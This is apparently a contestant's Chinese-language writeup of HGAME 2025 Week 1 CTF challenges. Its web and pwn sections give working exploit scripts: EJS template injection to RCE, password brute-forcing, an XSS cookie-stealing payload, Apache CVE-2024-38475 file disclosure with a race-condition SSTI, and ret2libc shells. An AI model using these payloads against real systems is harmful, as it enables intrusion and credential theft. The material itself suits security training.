HGAME 2025 Week 1 Writeup

Aqua Cat #000247

签到 (2/2)

从这里开始的序章。

送分题。

FLAG: `hgame{Now-I-kn0w-how-to-subm1t-my-fl4gs!}`

TEST NC

```
$ nc node1.hgame.vidar.club 32419
ls
cat flag
```

FLAG: `hgame{Your-CAN_c0nnEcT_TO-THe-R3m0tE_EnviRoNmENT-To_g3T_fL@g0}`

Crypto (3/3)

suprimeRSA

用 Wolfram Alpha 解方程组得到两组解：$(a, b) \in \{(2, 2), (2, 3)\}$。

试验发现 $M = 4 \cdot 2^{128}$ 太小，于是取 $M = 5 \cdot 2^{128}$。

观察到漏洞类似于 ROCA，可是 M 的质因子太少了，所以 $\mathrm{ord}_{M'}(e)$ 很大。

但是 n 不大 —— 所以，我选择 yafu，两三个小时左右就能求出 n 的分解：

```
==========================================================
======= Welcome to YAFU (Yet Another Factoring Utility) =======
=======             bbuhrow@gmail.com                  =======
=======     Type help at any time, or quit to quit     =======
==========================================================

>>
factor(669040758304155675570167824759691921106935750270765997139446851830489
```

```
fac: factoring
669040758304155675570167824759691921106935750270765997139446851830489844731
fac: using pretesting plan: normal
fac: no tune info: using qs/gnfs crossover of 100 digits
fac: no tune info: using qs/snfs crossover of 75 digits
div: primes less than 10000
```

```
fmt: 1000000 iterations
rho: x^2 + 3, starting 1000 iterations on C96
rho: x^2 + 2, starting 1000 iterations on C96
rho: x^2 + 1, starting 1000 iterations on C96
nfs: searching for brent special forms...
nfs: searching for homogeneous cunningham special forms...
nfs: searching for XYYXF special forms...
nfs: searching for direct special forms...
nfs: snfs form detection took 0.110591 seconds
nfs: couldn't find special form
pm1: starting B1 = 150K, B2 = gmp-ecm default on C96
ecm: ECM executable does not exist at ../trosi_ecm_git/ecm
ecm: using internal single threaded ECM...
ecm: 30/30 curves on C96, B1=2k, B2=gmp-ecm default
ecm: ECM executable does not exist at ../trosi_ecm_git/ecm
ecm: using internal single threaded ECM...
ecm: 74/74 curves on C96, B1=11k, B2=gmp-ecm default
ecm: ECM executable does not exist at ../trosi_ecm_git/ecm
ecm: using internal single threaded ECM...
ecm: 214/214 curves on C96, B1=50k, B2=gmp-ecm default, ETA: 0 sec
pm1: starting B1 = 3750K, B2 = gmp-ecm default on C96
ecm: ECM executable does not exist at ../trosi_ecm_git/ecm
ecm: using internal single threaded ECM...
ecm: 363/363 curves on C96, B1=250k, B2=gmp-ecm default, ETA: 0 sec

starting SIQS on c96:
669040758304155675570167824759691921106935750270765997139446851830489844731373

==== sieving in progress (1 thread):   98464 relations needed ====
====           Press ctrl-c to abort and save state           ====
98510 rels found: 25642 full + 72868 from 1560186 partial, (194.01
rels/sec)

building matrix with 98510 columns
SIQS elapsed time = 8222.5621 seconds.
Total factoring time = 8475.1229 seconds


***factors found***

P48 = 796688410951167236263039235508020180383351898113
P48 = 839777194079410698093279448382785381699926556673

ans = 1

>>
```

然后就是标准的 RSA 解密。

```
from Crypto.Util.number import long_to_bytes, bytes_to_long, isPrime

n =
669040758304155675570167824759691921106935750270765997139446851830489844731373
```

```
enc = 48720728317601882496526817230788824576381758387507100886937017256577723051437 92
p = 79668841095116723626303923550802018038335189 8113
q = 83977719407941069809327944838278538169992655 6673
phi = (p - 1) * (q - 1)
d = pow(65537, -1, phi)
dec = pow(enc, d, n)
print(long_to_bytes(dec))
```

后面文件修复了，但我懒得补了。

FLAG: `hgame{ROCA_ROCK_and_ROll!}`

ezBag

标准的背包问题，用 LLL 即可解决。

```
A = ...
B = ...
ciphertext = ...

m = matrix(A).T.stack(matrix(B))
m = (10^20) * m
m = m.augment(identity_matrix(65)).change_ring(ZZ).dense_matrix()
m[64,68] = 10^40
m = m.BKZ(block_size=20)
print(m[-1])
m = m[-1][4:-1]
p = 0
for i in m[::-1]:
    p = p * 2 + abs(i)

from Crypto.Cipher import AES
import hashlib
key = hashlib.sha256(str(p).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
print(cipher.decrypt(ciphertext))
```

FLAG: `hgame{A_S1mple_Modul@r_Subset_Sum_Problem}`

sieve

观察函数 `trick`，由 Wilson 定理得到当 k 为质数时贡献为 $\phi(k)+1$，否则贡献为 $\phi(k)$。

`trick` 的返回值是贡献在 $k=1,2,\ldots,\lfloor\frac{e^2}{6}\rfloor=715849728$ 的和。

运行 洛谷 P4213 【模板】杜教筛 题解 中的程序得到 $\sum_{i=1}^{715849728}\phi(i)=155763335410704472$。

用 Wolfram Alpha 得到 $\pi(715849728)=37030583$。

然后就是标准的 RSA 解密，注意 $\phi(p^2)=p(p-1)\neq(p-1)(p-1)$。

```python
from Crypto.Util.number import long_to_bytes, bytes_to_long, isPrime
p = (155763335410704472 + 37030583) << 128
while not isPrime(p):
    p += 1
phi = (p - 1) * p
d = pow(65537, -1, phi)
n = p * p
enc = 244929409747471413653014009978459273276644448166527803806948446666550615396785 1
dec = pow(enc, d, n)
print(long_to_bytes(dec))
```

FLAG: `hgame{sieve_is_n0t_that_HArd}`

Web (4/5)

Level 24 Pacman

将 `index.js` 用 https://deobfuscate.relative.im/ 去混淆得到两个神秘字符串：

```
here is your gift:aGFldTRlcGNhXzR0cmdte19yX2Ftbm1zZX0=
here is your gift:aGFlcGFpZW1rc3ByZXRnbXtydGNfYWVfZWZjfQ==
```

将字符串 base64 解码，然后 Rail Fence Cipher Decode 得到两个 flag。其中 `hgame{pratice_makes_perfect}` 是假 flag。

FLAG: `hgame{u_4re_pacman_m4ster}`

Level 47 BandBomb

提供的接口有：文件上传（`/upload`）和改名（`/rename`）。

观察到 `rename` 实际上是 `mv` 指令，可以移动文件位置。

所以上传自己的 ejs 模板后，可以用 `rename` 把原本的 `mortis.ejs` 替换成自己的模板，SSTI 达成 RCE。

```python
import requests
import random

URL = "http://node1.hgame.vidar.club:30217"

CONTENT = """
<!DOCTYPE html>
<html>
<head>
    <title>Hello World</title>
    <meta charset="UTF-8">
</head>
```

```
<body>
    <div>
        <p>
            <% process.mainModule.require("child_process").execSync("env >
/app/public/result.txt").toString() %>
        </p>
    </div>
</body>
</html>
"""

template_id = random.randbytes(4).hex()
template_name = "template_%s.ejs" % template_id
r = requests.post(URL + "/upload", files={"file": (template_name,
CONTENT)})

bad_template_id = random.randbytes(4).hex()
bad_template_name = "template_%s.ejs" % bad_template_id
r = requests.post(URL + "/rename", json={"oldName": "../views/mortis.ejs",
"newName": "../public/%s" % bad_template_name})

r = requests.post(URL + "/rename", json={"oldName": "../uploads/%s" %
template_name, "newName": "../views/mortis.ejs"})

r = requests.get(URL + "/")

r = requests.get(URL + "/static/result.txt")
print(r.text)
```

在环境变量里有 flag（在这一步卡了非常久）。

FLAG: `hgame{AVE-MuJlCA_HaS-broKeN-up_6uT_w3_H4V3-UMiTAkIa}`

Level 69 MysteryMessageBoard

~~sourceless web ■■ ■■■ 喵！~~

在有了源码后这题变得可做了。

首先爆破用户 `shallot` 的密码，密码是 `888888`。

```
import requests
from tqdm import tqdm

URL = "http://node1.hgame.vidar.club:30877"

passwords = open("passwords", "r").split()

for password in tqdm(passwords):
    r = requests.post(URL + "/login", data={"username": "shallot",
"password": password})
    if "success" in r.text:
```

```
        print(f"{password = }")
        break
```

现在能发帖了，尝试 XSS admin。HttpOnly 和 Secure 都是 `False`，因此能直接得到 admin 的 cookie。

```
import time
import requests

XSS_SCRIPT = """
<script>
fetch("http://127.0.0.1:8888/",
    {
        method: "POST",
        headers: {"Content-Type":"application/x-www-form-urlencoded"},
        body: "comment="+encodeURI(btoa(document.cookie))
    }
)
</script>
"""

s = requests.Session()
s.post(URL + "/login", data={"username": "shallot", "password": "888888"})
s.post(URL + "/", data={"comment": XSS_SCRIPT})
s.get(URL + "/admin")

time.sleep(5)
print(s.get(URL + "/").text)
```

然后就能得到 flag 了。

```
import requests
import base64

post =
"c2Vzc2lvbj1NVGN6T0RjNE16UTVPWHhFV0RoRlFWRk1YMmRCUVVKRlFVVlJRVUZCYmw4MFFVRkJVVn
cookie = base64.b64decode(post).decode().lstrip("session=")
print(requests.get(URL + "/flag", cookies={"session": cookie}).text)
```

FLAG: `hgame{W0w_y0u_5r4_9o0d_4t_xss}`

[TODO] Level 25 双面人派对

Level 38475 角落

访问一些常见的目录，例如 `robots.txt`：

```
User-agent: *
Disallow: /app.conf
Disallow: /app/*
```

访问 `app.conf`：

```
# Include by httpd.conf
<Directory "/usr/local/apache2/app">
    Options Indexes
    AllowOverride None
    Require all granted
</Directory>

<Files "/usr/local/apache2/app/app.py">
    Order Allow,Deny
    Deny from all
</Files>

RewriteEngine On
RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"
RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"

ProxyPass "/app/" "http://127.0.0.1:5000/"
```

在 http 响应头中看到服务器版本 `Apache/2.4.59 (Unix)`，在 https://httpd.apache.org/security/vulnerabilities_24.html 搜索相关的漏洞 CVE-2024-38475，和标题的 id 对应。

利用漏洞，泄露出 `app.py` 源代码。

```
import requests
r =
requests.get("http://node1.hgame.vidar.club:32695/admin/usr/local/apache2/app/a
headers={"User-Agent": "L1nk/v1.0"})
print(r.headers)
print(r.text)
```

审计代码，发现 `read_message` 存在 SSTI 漏洞，但是 WAF 过滤了 `{`。

为了绕过检测，可以利用条件竞争，在两次调用 `readmsg()` 的时间差中替换 `message.txt` 的内容。

```
import requests
import threading

def send_good():
    for t in range(25):
        requests.post("http://node1.hgame.vidar.club:32695/app/send", data=
{"message": """payload {{
request.application.__globals__.__builtins__.__import__('os').popen('cat
/flag').read() }}"""})

def send_bad():
    for t in range(25):
        requests.post("http://node1.hgame.vidar.club:32695/app/send", data=
{"message": "normal message"})

def read():
    for i in range(25):
```

```
        r = requests.get("http://node1.hgame.vidar.club:32695/app/read")
        print(r.text)

threading.Thread(target=send_good).start()
threading.Thread(target=send_bad).start()
threading.Thread(target=read).start()
```

FLAG: `hgame{Y0U-flnd_thE_KeY-T0_RRr@c3_0uUUUt31af98}`

Rev (4/4)

Compress dot new

观察到输出的第一行是字典树（其中，`a` 和 `b` 是分叉，`s` 是叶结点），结合标题中提到的压缩，猜测是 Huffman 树。

二进制串的 `0` 对应字典树中的 `a`，`1` 对应 `b`，叶结点储存的是字符的 ASCII 值。

据此编写解码程序：

```
D = {"a": ..., "b": ...}
S = "..."

c = D
for i in S:
    if "s" in c:
        print(chr(c["s"]), end = "")
        c = D
    if i == "0":
        c = c["a"]
    if i == "1":
        c = c["b"]
```

FLAG: `hgame{Nu-Shell-scr1pts-ar3-1nt3r3st1ng-t0-wr1te-&-use!}`

Turtle

观察到程序被套了一层壳，壳是魔改过的 UPX。用工具给程序去壳。

去壳后观察程序，加密方式类似 RC4。

第一步中 `key` 使用正常的 RC4 加密，密钥 `yekyek`，密文 `CD 8F 25 3D E1 51 4A`，解得 `key = ecg4ab6`。

第二部中 `key` 的最后一位被修改，用来加密 `flag`；RC4 的异或被替换成了减法，解密时应取密钥加上密钥流。

```
from Crypto.Cipher import ARC4

cipher = ARC4.new(b"yekyek")
```

```
key = cipher.decrypt(bytes.fromhex("CD 8F 25 3D E1 51 4A"))
print(f"{key = }")

key2 = bytearray(key)
key2[6] = 0x28
key2 = bytes(key)

cipher2 = ARC4.new(key2)
stream = cipher2.encrypt(bytes(40))

result = [0 for i in range(40)]
if True:
  result[0] = -8;
  result[1] = -43;
  result[2] = 98;
  result[3] = -49;
  result[4] = 67;
  result[5] = -70;
  result[6] = -62;
  result[7] = 35;
  result[8] = 21;
  result[9] = 74;
  result[10] = 81;
  result[11] = 16;
  result[12] = 39;
  result[13] = 16;
  result[14] = -79;
  result[15] = -49;
  result[16] = -60;
  result[17] = 9;
  result[18] = -2;
  result[19] = -29;
  result[20] = -97;
  result[21] = 73;
  result[22] = -121;
  result[23] = -22;
  result[24] = 89;
  result[25] = -62;
  result[26] = 7;
  result[27] = 59;
  result[28] = -87;
  result[29] = 17;
  result[30] = -63;
  result[31] = -68;
  result[32] = -3;
  result[33] = 75;
  result[34] = 87;
  result[35] = -60;
  result[36] = 126;
  result[37] = -48;
  result[38] = -86;
  result[39] = 10;
```

```python
flag = bytes([(i + j) % 256 for i, j in zip(stream, result)])
print(f"{flag = }")
```

FLAG: `hgame{Y0u'r3_re4l1y_g3t_0Ut_of_th3_upX!}`

Delta Erro0000ors

逆向程序，首先输入一个长度为 43 的 flag 并检验 flag 格式（`hgame{...}`）。

然后将 flag 中间部分作为 `DELTA_INPUT Source` 的 `lpStart`，位于 `0x1400050A0` 处的数据作为 `DELTA_INPUT Delta` 的 `lpStart`，执行 `msdelta.dll` 中的 `ApplyDeltaB` 函数。

但是 `Delta` 内部的 hash 被替换成了 `Seveneatsthehash`，所以会报错，进入 `except` 部分。

`except` 中，可以输入 MD5 替换原本的 hash，并再次执行 `ApplyDeltaB` 函数，检验条件 `checksum[i] == delta_out->uSize[i % delta_out->lpStart] ^ flag[i]` 是否成立（$0 \leq i < 43$）。这里 `checksum` 位于 `0x140003438` 是硬编码的值，`DELTA_OUTPUT delta_out` 是函数的输出。

因为 `Source` 未知，所以需要解码 `Delta`，解码器在 https://github.com/smilingthax/msdelta-pa30-format 可以找到实现。

```
$ ./dump patch
GetDeltaInfo(patch):
  FileTypeSet: 0x0000000000000001
  FileType: 0x0000000000000001
  Flags: 0x0000000000000000
  TargetSize: 28
  TargetFileTime: 0x01db6c7445d00b30 (unix: 1737512458)
  TargetHashAlgId: 0x00008003
  TargetHash:
    HashSize: 16
    HashValue: 53 65 76 65 6e 65 61 74 73 74 68 65 68 61 73 68

extra:
  preproc start: 37, len: 0
  patch start: 39, len: 30
  end: 69  (file size: 69)

no preproc info
base rift table:
  non-empty: 0
  LITERAL: 0x53 (S)
  LITERAL: 0x65 (e)
  LITERAL: 0x76 (v)
  LITERAL: 0x65 (e)
  LITERAL: 0x6e (n)
  LITERAL: 0x20 ( )
  LITERAL: 0x73 (s)
  LITERAL: 0x61 (a)
  LITERAL: 0x79 (y)
```

```
LITERAL: 0x73 (s)
LITERAL: 0x20 ( )
LITERAL: 0x79 (y)
LITERAL: 0x6f (o)
LITERAL: 0x75 (u)
LITERAL: 0x27 (')
LITERAL: 0x72 (r)
LITERAL: 0x65 (e)
LITERAL: 0x20 ( )
LITERAL: 0x72 (r)
LITERAL: 0x69 (i)
LITERAL: 0x67 (g)
LITERAL: 0x68 (h)
LITERAL: 0x74 (t)
LITERAL: 0x21 (!)
DST offset: 1, length: 3
LITERAL: 0x00
```

读出 `delta_out` 的值为 `Seven says you're right!!!!\0`。异或即可得到 flag。

```python
from pwn import xor
enc = bytes.fromhex("""3B 02 17 08 0B 5B 4A 52 4D 11 11 4B 5C 43 0A 13 54
12 46 44 53 59 41 11 0C 18 17 37 30 48 15 07 5A 46 15 54 1B 10 43 40 5F 45
5A""")
print(xor(enc, b"Seven says you're right!!!!\x00"))
```

FLAG: `hgame{934b1236-a124-4150-967c-cb4ff5bcc900}`

尊嘟假嘟

首先 jadx 解包，分析 `lib` 里的两个 so 文件 `libzunjia.so` 和 `libcheck.so`。

`libzunjia.so` 实现了 `DexCall.copyDexFromAssets` 函数。

这个函数调用了 IDEA 算法（International Data Encryption Algorithm）解密 `assets` 里的 `zunjia.dex` 文件，密钥是 `SevenIsBeautiful`（由于端序原因，密钥实际上是 `ulifuteasBnIveSe` —— I have no IDEA why）。

```python
class IDEA:
    ...

ciphertext = open("zunjia.dex", "rb").read()
key = int.from_bytes(b"ulifuteasBnIveSe", "little")
cipher = IDEA(key)
plaintext = b""
for i in range(0, len(dex), 8):
    ct = int.from_bytes(ciphertext[i:i+8], "little")
    pt = cipher.decrypt(ct)
    plaintext += int.to_bytes(pt, 8, "little")
open("zunjia_decoded.dex", "wb").write(plaintext)
```

解密 `zunjia.dex` 后，它加载了 `zunjia.dex` 中的 `encode` 函数。`encode` 函数实现了异或 i 和换表 base64 编码。

`libcheck.so` 实现了 `check` 函数。

这个函数调用了 RC4 算法加密一个长度 43 字节的字符串（key 是输入），然后调用 `encode` 函数并输出到日志。`check` 没有明显的反馈，说明需要爆破 key。

在 `toast.java` 中重定义了 `setText` 函数以调用 `check` 函数，参数是 `DexCall.callDexMethod(...)`，也就是 `encode(getString("zunjia"))`。

`zunjia` 初始为空串，`zundu.java` 和 `jiadu.java` 的 `onClick` 会分别将 `zunjia` 替换为 `zunjia + "0.o"` 和 `zunjia + "o.0"`，长度上限 36。

所以可以枚举所有 `0.o` 和 `o.0` 的组合，encode 后作为 key，RC4 解密就能得到 flag 了。

```python
from Crypto.Cipher import ARC4
import itertools

CUSTOM_ALPHABET =
b"3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5"
DECODE_TABLE = [-1 for i in range(128)]
for i in range(len(CUSTOM_ALPHABET)):
    DECODE_TABLE[CUSTOM_ALPHABET[i]] = i

def encode(input):
    input = bytes(i ^ j for i, j in enumerate(input))
    output = []
    for i in range(0, len(input), 3):
        x = int.from_bytes(input[i:i+3], "big")
        for shift in [18, 12, 6, 0]:
            output.append(CUSTOM_ALPHABET[(x >> shift) & 63])
    return bytes(output)

ciphertext =
bytes.fromhex("7AC7C7945182F5990C30C8CD97FE3DD2AE0EBA835987BBC635E18C59EFADFA94
for repeats in range(1, 13):
    for o_o in itertools.product(*[[b"o.0", b"0.o"]] * repeats):
        key = encode(b"".join(o_o))
        plaintext = ARC4.new(key).encrypt(ciphertext)
        if b"hgame" in plaintext:
            print(plaintext.decode())
```

FLAG: `hgame{4af153b9-ed3e-420b-978c-eeff72318b49}`

Pwn (2/3)

counting petals

设 $n = 16$，由于数组过小，读入 a_{16} 时覆盖了 n 的值，导致越界读写。

返回值泄露了 canary，以及 `main` 和 `__libc_start_main` 的地址，于是可以 ret2libc。

```python
from pwn import *
context.binary = elf = ELF("./vuln1", checksec=False)
libc = elf.libc

# p = process("./vuln1")
p = remote("node1.hgame.vidar.club", 30717)

p.sendline(str(16).encode())
for i in range(15):
    p.sendline(str(i + 1).encode())
p.sendline(str(32 + 128 * 2**32).encode()) # (n, i) := (32, 128)
p.sendline(str(2).encode()) # :(

p.recvuntil(b"Let's look at the results.\n")
leak = list(map(int, p.recvline().decode().strip().rstrip("=").split("+")))
print(leak)
leak = list(map(lambda x: p64(x, sign="signed"), leak))
print(list(map(lambda x: x.hex(), leak)))

canary = leak[16]
libc_start_main = u64(leak[18])
libc_base = libc_start_main - 0x29d90
main = u64(leak[20])
elf_base = main - 0x12bf
print("canary =", canary.hex())
print("libc base =", hex(libc_base))
print("elf base =", hex(elf_base))

ret = elf_base + 0x101a
pop_rdi = libc_base + 0x2a3e5
bin_sh = libc_base + 0x1d8678
system = libc_base + 0x50d70

try:
    p.sendline(str(16).encode())
except Exception as e:
    print("Error:", e)
    exit(1)
for i in range(15):
    p.sendline(str(i + 1).encode())
p.sendline(str(18 + 5 + 16 * 2**32).encode())
p.sendline(str(u64(canary, sign="signed")).encode())
p.sendline(str(1).encode())

p.sendline(str(ret).encode())
p.sendline(str(pop_rdi).encode())
p.sendline(str(bin_sh).encode())
p.sendline(str(system).encode())
p.sendline(str(ret).encode())

p.interactive()
```

FLAG: `flag{b49caad7-0a45-2c5b-f2d8-de7b5d4e52f5}`

[TODO] ezstack

format

这题和 corctf 2024 的 format-string 一题非常相似。

我参考了 https://sashactf.gitbook.io/pwn-notes/ctf-writeups/cor-ctf-2024/format-string 中的 exp。

原理大致是：使用 `%*x` 将缓冲区填充了大量空格，然后调用 `scanf` 时缓冲区就会留下 libc 地址，此时使用 `%s` 可以泄露出这个地址。

然后用负数绕过 `n<5` 的比较，ret2libc 即可 getshell。

```python
from pwn import *

context.binary = elf = ELF("./vuln3", checksec=False)

while True:
    __import__("time").sleep(0.5)
    # p = process("./vuln3")
    p = remote("node2.hgame.vidar.club", 32134)

    p.sendline(b"3")
    p.send(b"%d#")
    p.recvuntil(b"you type: ")
    s = p.recvuntil(b"type something:", drop=True)
    x = int(s[:-1])
    if 0 < abs(x) < 2**27:
        print(f"[+] #1 {x = }")
        break
    else:
        print(f"[-] {x = }")
    p.close()

p.send(b"%*x")
p.recvuntil(b"you type: ")
s = p.recvuntil(b"type something:", drop=True)
print("[+] #2", len(s))

p.send(b"%s.")
s = p.recvuntil(b"you have n space to getshell(n<5)\n n = ", drop=True)
leak = int.from_bytes(s[-7:-1], "little")
libc_base = leak - 0x21aaa0
print("[+] #3", len(s), hex(leak), hex(libc_base))

ret = libc_base + 0x29139
pop_rdi = libc_base + 0x2a3e5
bin_sh = libc_base + 0x1d8678
system = libc_base + 0x50d70

p.sendline(b"-1")
```

```
p.sendline(b"A" * 13 + p64(ret) + p64(pop_rdi) + p64(bin_sh) + p64(system))
p.interactive()
```

FLAG: `VIDAR{Care1ess_pr1ntf}`

Misc (4/4)

Hakuya Want A Girl Friend

将下发文件解十六进制得到一个压缩包。

试图爆破密码，但 zip2john 失败。原因是 zip 后面有多余字节。

观察到 zip 后紧接的字节是 png 文件尾 `IEND` 倒序，文件末尾的字节是 png 文件头 `89 50 4E 47` 倒序，所以将 zip 后的字节整体翻转，可以得到 png 文件。

pngcheck 发现 png 文件的校验错误，于是修改文件的高。

得到 zip 密钥：`To_f1nd_th3_QQ`，解压即可得到 flag，需要修改拼写错误。

FLAG: `hgame{h4kyu4_w4nt_gir1f3nd_+q_931290928}`

Level 314 线性走廊中的双生实体

加载给定的文件。

```
import torch
entity = torch.jit.load('entity.pt')
print(entity)
```

观察到 `security` 层，检查其代码：

```
print(entity.security.code)
```

里面藏了一个真 flag 和一个假 flag：

```
print("".join(map(lambda x: chr(x ^ 85), entity.security.flag)))
print("".join(map(lambda x: chr(x - 3), entity.security.fake_flag)))
```

FLAG: `flag{s0_th1s_1s_r3al_s3cr3t}`

Computer cleaner

首先，查找攻击者的 webshell：

```
$ find / 2>/dev/null | grep php
```

发现 webshell 位于 `/var/www/html/uploads/shell.php`，查看其代码：

```
$ cat /var/www/html/uploads/shell.php | base64 | base64
UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lkb1oyRnRaWHQ1TUhWZkoxMHBPejgrRFFvPQ==
```

得到 flag (1/3)：`hgame{y0u`

接下来，在相同目录下有 log 文件，查看历史记录：

```
$ cat /var/www/html/upload_log.txt
121.41.34.25 - - [17/Jan/2025:12:01:03 +0000] "GET / HTTP/1.1" 200
1024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82
Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:03 +0000] "GET /upload HTTP/1.1"
200 1024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82
Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:15 +0000] "POST /upload HTTP/1.1"
200 512 "http://localhost/upload" "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:20 +0000] "POST /upload HTTP/1.1"
200 1024 "http://localhost/upload" "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:35 +0000] "POST /upload HTTP/1.1"
200 1024 "http://localhost/upload" "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:50 +0000] "POST /upload HTTP/1.1"
200 1030 "http://localhost/upload" "Mozilla/5.0 (Windows NT 10.0;
Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:01:55 +0000] "GET /uploads/shell.php
HTTP/1.1" 200 1024 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82
Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:02:00 +0000] "GET
/uploads/shell.php?cmd=ls HTTP/1.1" 200 2048 "-" "Mozilla/5.0
(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/89.0.4389.82 Safari/537.36"
121.41.34.25 - - [17/Jan/2025:12:02:05 +0000] "GET
/uploads/shell.php?cmd=cat%20~/Documents/flag_part3 HTTP/1.1" 200
2048 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.82
Safari/537.36"
```

发现攻击者的 IP 为 121.41.34.25，访问 http://121.41.34.25/ 得到 flag (2/3)：`hav3_cleaned_th3`

最后，在 log 的最后一行中，攻击者访问了 `~/Documents/flag_part3`，于是

```
$ cat ~/Documents/flag_part3
_c0mput3r!}
```

得到 flag (3/3)：`_c0mput3r!}`

FLAG: `hgame{y0u_hav3_cleaned_th3_c0mput3r!}`

Two wires

对 sigrok 波形文件解码：

```
$ sigrok-cli -i ./capture.sr -P i2c
```

整理得到交互数据：

```
WRITE 01 6b 69 4f 7e 03 54 f6 c6 6a b5 00 00 00 00 00 00
WRITE 00 01 00 00 00 93 7e cd 0d 00 00 00 00 00 00 00 00
WRITE 02 1a 04 02 1b 1c 6d 7d 45 58 02 00 00 00 00 00 00
WRITE 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 READ 00 26 55 04 00 01 00 00 00 93 7e cd 0d
```

然后，逆向固件的函数。

`regen_otp` 实现了 HOTP 算法，其中：

- `C` 位于 `0x01E3`，长度为 8 字节；
- `K` 位于 `0x01EB`，长度为 20 字节；
- 调用了 `Sha1Class` 实现 HMAC 函数。
- 在调用 `__udivmodsi4` 取模前，设置 mod 为 `0x000F4240` 也就是 10^6，所以产生的 HOTP 是 6 位的。
- 最后，将 `C` 自增 1。

`i2cOnReceive` 实现了交互的读入，其中：

- `msg_recv` 位于 `0x012C`，它决定了 `loop` 的 `next_action`；
- 其余输入位于 `0x012D`；根据交互数据，这一部分有 16 字节。

`loop` 是主要的函数，其中：

- 如果 `msg_recv` 等于 `0x01`，`next_action` 为 `0x03`，此时将输入的前 10 字节复制到 `0x01EB`（即 `K`）；
- 如果 `msg_recv` 等于 `0x02`，`next_action` 为 `0x04`，此时将输入的前 10 字节复制到 `0x01F5`（即 `K + 10`）；
- 如果 `msg_recv` 等于 `0x00`，`next_action` 为 `0x02`，此时将输入的前 8 字节复制到 `0x01E3`（即 `C`）；
- 如果 `msg_recv` 等于 `0x03`，`next_action` 为 `0x05`，此时将调用 `regen_otp` 生成新的 HOTP。

根据 RFC 4226 标准和已知的 `K` 和 `C`，可以生成 HOTP：

```python
import hmac
import hashlib
import struct

def OTP(K, C):
```

```
    key, msg = K, int.to_bytes(C, 8, "big")
    digest = hmac.new(key, msg, hashlib.sha1).digest()
    offset = digest[-1] & 0x0F
    result = struct.unpack(">I", digest[offset : offset + 4])[0] &
0x7FFFFFFF
    return str(result % 1000000).zfill(6)

K = bytes.fromhex("""
6b 69 4f 7e 03 54 f6 c6 6a b5
1a 04 02 1b 1c 6d 7d 45 58 02
""")
C = int.from_bytes(bytes.fromhex("""
01 00 00 00 93 7e cd 0d
"""), "little")
print("X1 =", OTP(K, C))
print("X2 =", OTP(K, C + 9))
```

得到 $X_1 = 283942, X_2 = 633153$。

输出的前 4 字节 `26 55 04 00` 按小端序转换为 283942，说明 X_1 的值是正确的。

接下来，从 EEPROM 的镜像得到验证器原本的闪存内容：

```
BE BA FE CA 92 05 00 00 17 CD 92 3A 32 1C 31 D4
94 54 85 42 44 DE 86 CC 4A B6 DD F4 35 42 90 52
```

继续逆向固件的函数。

`EepromData::serialize` 实现了密钥的存储，其中：

- 开始的 4 字节是 magic number，固定为 `0xCAFEBABE`；
- 接下来的 28 字节是 `OtpState` 的内容，包含了 `C`（8 字节）和 `K`（20 字节）。

于是可以还原 $Y_1 = 431432, Y_2 = 187457$。

```
K = bytes.fromhex("""
32 1C 31 D4 94 54 85 42 44 DE 86 CC
4A B6 DD F4 35 42 90 52
""")
C = int.from_bytes(bytes.fromhex("""
92 05 00 00 17 CD 92 3A
"""), "little")
print("Y1 =", OTP(K, C + 32))
print("Y2 =", OTP(K, C + 64))
```

FLAG: `hgame{283942_633153_431432_187457}`